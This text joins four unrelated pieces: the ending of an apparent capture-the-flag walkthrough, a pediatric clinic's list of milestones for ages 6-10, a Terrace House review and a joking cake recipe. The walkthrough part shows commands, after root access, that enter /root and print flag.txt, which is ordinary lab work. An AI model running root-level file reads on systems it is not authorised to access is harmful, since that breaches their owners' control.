And then we were ROOT! Let's mover over to ROOT's home folder and see if we can end this game!
$ cd /root
$ ls
$ /bin/cat flag.txt
And so the game ends.
This was a easy and fun challenge and I also enjoyed making this walkthrough! If you enjoyed it, please share and contact me on Twitter (@reedphish)!


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The kid gloves are – kind of, sort of – off.
By age 7, children have largely moved beyond the "baby" years – and are busy establishing themselves as fully-functional individuals.
Development during those post toddler/pre-teen years can be emotionally tumultuous, yet also rewarding, as children vie for independence while placing increased emphasis on friendships.
The latest entry in our milestone series charts childhood developmental milestones for ages 6-10.
At age 6, children typically:
- Understand that some words have more than one meaning
- Can read children's books
- Tell time
- Begin to develop a sense of body image
- Know their right hand from their left
- Begin to lose their baby teeth
- Learn to cooperate and share
- Attempt to establish their independence and/or demonstrate how big they are
At age 7, children typically:
- Have exemplary hand-eye coordination
- Have a vocabulary consisting of several thousand words
- Are thoughtful, reflective, and exercise logic
- Can accurately compare two objects
- Are critical of themselves
- Can tend to worry
- Begin to feel and/or express guilt and shame
- Exhibit a longer attention span
At age 8, children typically:
- Can dress themselves and practice good hygiene
- Can use tools (such as hammers and screwdrivers)
- Can count by 2's
- Know the day of the week (but often not the month or year)
- Have mood swings (with angry outbursts)
- Become fascinated with earning and saving money
- Can tie their shoelaces
At age 9, children typically:
- Can classify objects using different categories
- Can add and subtract using two-digit numbers, and have begun learning and understanding more complicated math concepts
- Are independent thinkers and are developing their problem-solving skills
- Recognize basic social cues
- Have more stable emotions and can express empathy
- Read frequently
- Enjoy active play
At age 10, children typically:
- Can write simple stories
- Know what day of the week, day of the month, month, and year it is
- Experience more peer pressure
- Read chapter books
- Enjoy team activities
- Show off and/or act silly as a way to interact with members of the opposite sex
- Speak at an adult level and can interact with people of all ages
- Have mastered their smaller muscle groups and demonstrate increased endurance
It is important to note that peer pressure often becomes a serious issue as children approach their middle school and pre-teen years. Spending time with them can help to counteract this pressure, negating its influence. Praise accomplishments and discuss upcoming challenges. Whenever possible, become involved in your child's academic life. Meet teachers and attend events. Encourage your children to become involved, as well, whether in athletics, extracurricular activities, or charity work.
Regular checkups can help you keep track of your son or daughter's childhood developmental milestones, ages 6-10. We can help your family adhere to a proper vaccination schedule while your child progresses through school.
Preventative care appointments are available at all four of KinderMender's Maryland locations for the following:
- Immunizations
- Well child visits/health checkups
- Newborn care
- Travel advice
Additionally, all KinderMender locations offer school and sports physicals throughout the summer, helping you and your child to get a head start on the new school year.


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Admittedly (and with shame) I have spent countless hours of my life staring at my screen, mouth agape, and brain cogs at a standstill, mindlessly enjoying the insipid drama offered by shows such as The Hills, The Real Housewives of Beverly Hills, or Keeping Up With The Kardashians. While the bulk of what these shows offer is harmless, there's an underlying toxicity that makes its way into our own reality. Post-binge my mood is restless and aggravated, suddenly argumentative and ready to attack. Our brains, not unlike our appetites, are constantly absorbing what we put in front of them. Unsurprisingly, if you binge on a greasy and noxious meal of trash TV, you're going to be left to suffer the queasy and unsettling consequences. Thankfully not all reality TV shows are created equal.
Enter Terrace House.
Terrace House: Boys & Girls in the City brings three young women, and three young men – complete strangers – together in a beautiful home in Tokyo where they cohabit, go about their daily lives, and maybe even find romance. You come to learn each member's hopes, dreams, and most importantly their 'type' – what they're looking for in a significant other. All these tidbits are public knowledge in the house, as there's no behind-the-scenes confessional. Rather than humiliating challenges and feats of strength, the entertainment is supplied by fairly mundane tasks around the house, thoughtful meal preparation, visits to the cast's places of work, and most importantly, their dates with one another. Once a cast member reaches some level of self-actualization, and is satisfied with their Terrace House experience, they tend to leave at their own free will. No one is voted off the island, though they are swiftly replaced with the next house member.
You quickly fall in love with watching the 6 cast members, even if some aren't your cup of tea. The interruptions from the commentating panelists, who are essentially pop culture savvy and wickedly hilarious versions of the Greek fates, become increasingly welcome. But mostly you become utterly fascinated by the polite rituals, customs, behaviours, and communication of the cast members. If you've ever watched western reality tv, you know polite has nothing to do with it.
The cast members of the Real World or any one of the housewives are completely ruthless and their relationships with one another are anything but real, as their titles deceptively proclaim. They didn't come there to make friends, they came there to win! They're quick to back stab, smack talk, and jump into bed with their best friend's love interest, always at the ready to tear their so-called friends down. On Terrace House, not only do they considerately greet and converse with one another, but they're always willing to lend a hand and build their fellow roommates up.
When unscripted drama (I use this term loosely, as the drama never really surpasses a soft boil) does occur, those involved sit down, confront the issue like adults, and talk it out until a resolution is reached, and both parties feel as though their feelings have been respectfully acknowledged. Not only that, but their powers of empathy and emotional intelligence are astounding – constantly deciphering their own and other's feelings and expertly putting themselves in the shoes of their fellow cast mates to better understand a situation. It's admirable and a completely novel concept for a reality show that helps to set Terrace House apart from all the garbage.
If you're looking to cut down on the trash you typically consume, but – like any good self-proclaimed social anthropologist – are fascinated by different forms of human interaction, Terrace House is an absolute must. Rather than being left with the toxic whiplash the shallow minds of traditional reality tv spawn, you will feel refreshed and maybe even pick up some new polite mannerisms. Watching Terrace House never leaves me feeling cynical about the state of our society, nor the trashy tastes we can't seem to quit.
Instead I am inspired by their friendships and aspirations, and ready to watch the next episode, unencumbered by the spontaneous bad mood the usual trash TV incites. While you can't tune out the same way you do with the primetime junk (one must remain vigilant of the TH subtitles), you're provided a form of enjoyable entertainment that is free from stress and pernicious influence. Just don't be surprised if you find yourself a) booking the next cheap flight to Japan or b) spiralling into a deep Instagram search for your newest crush from the cast. No one is immune to the super kawaii powers of Terrace House.
All 54 amazing episodes can be found and binge watched on Netflix.
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Superstition Cake
Which, just now, seems like a thing that we could believe in but may not exist. I think we need to remedy that.
Unlucky is the poetic asides theme of the day, but we'll stock you up on several courses meant for the lucky.
Here are a few food and kitchen superstitions to keep us on track in the invention of the much-needed Superstition Cake Recipe.
Superstition Cake (or Devil's Got my Hips)
I am thinking Bundt Cake, for the wishing well in the center of it, for the icing-free possibilities.
Begin with a good devil's food box mix (you know I don't snub this shortcut).
add one full can of pumpkin (not pumpkin pie mix, just pumpkin)
Choose your favorite spices--you know I love the cardamon, but you can add a little chili powder for some kick or just some nice cinnamon--the good stuff--go Penzy's or go home. Mix them in to taste.
If you made your New Year's lucky St. Basil cake, (Vasilopita) or if you're due to make one, grab an extra lucky coin to bake into this cake.
I think that thirteen almonds, thirteen pistachios, thirteen dried cherries should be drizzled with darkest chocolate and saved for the topping. Dust the top with Dutch hot cocoa and scatter the mix on top.
The cake will be relatively lowfat, high fiber and loaded with good fat, protein and the luck that good health relies upon. (Unless you choke on that coin.)